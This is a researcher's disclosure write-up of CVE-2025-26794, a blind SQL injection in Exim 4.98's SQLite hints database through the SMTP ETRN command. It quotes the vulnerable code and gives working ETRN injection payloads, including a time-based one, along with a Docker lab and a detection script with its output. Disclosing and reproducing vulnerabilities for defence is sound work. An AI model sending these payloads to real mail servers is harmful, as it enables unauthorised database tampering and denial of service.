
CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup
Exim report: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
I discovered this vulnerability through a manual code review.
The SQL parameters, when SQLite is used as the DBM, are not properly sanitized. This results in the possibility of a remote user to craft custom SQLite queries.
Exim uses an internal database for internal key:value storage(called HintsDB) which supports various backends, set at build-time. The most recent addition was SQLite. It is used to store:
enq_start()) for ETRN commands and SMTP deliveryThe affected file is hintsdb.h It was moved to a separate file (hints_sqlite.h) in the latest commits. Only the SQLite functions are affected (example function: exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
The input key is not properly escaped. Therefore, if we manage to control the key, we will be able to inject any SQLite code.
RFC1985 defines the SMTP ETRN command, "whereby a client may request that the server start the processing of its mail queues for messages that are waiting at the server for the client machine".
It is used with the SMTP command: ETRN #domain.com.
In Exim, the ETRN command sets a semaphore in the HintsDB to avoid running multiple ETRN commands in parallel.
This semaphore is implemented by the enq_start(keyname, value) function which create a new entry in the "misc" database.
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
For example, the SMTP command ETRN #test.com will create a temporary DB entry in the SQLite "misc" database with the key "etrn-#test.com" and the value 1.
At the end of the ETRN commmand processing, the DB entry will be removed:
enq_end(etrn_serialize_key);
Since we control the key, we can inject our own SQL code with the following SMTP command:
ETRN #',1); ## INSERT SQL HERE ## /*
Since there is no output, we can submit a time-based SQLi payload to remotely test this vulnerability:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE, I guess that we could probably exploit a race condition in Exim to trigger some undefined behavior by meddling with the other DBs used. It is still very hypothetical for now.ETRN command (and quite old). I could not find anywhere else in the code where user input is used to build the query string.This means that we could easily DoS (ex: fill the disk), but escalating this to Remote Code Execution would require more work, but may be possible.
Here is a local Docker lab to help reproduce this vulnerability.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh will build and log you in the containerbash start-exim.sh to start the exim servernc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorI developed a script test.py to remotely test for this vulnerability.
python3 docker_lab/test.py <host>
Example:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable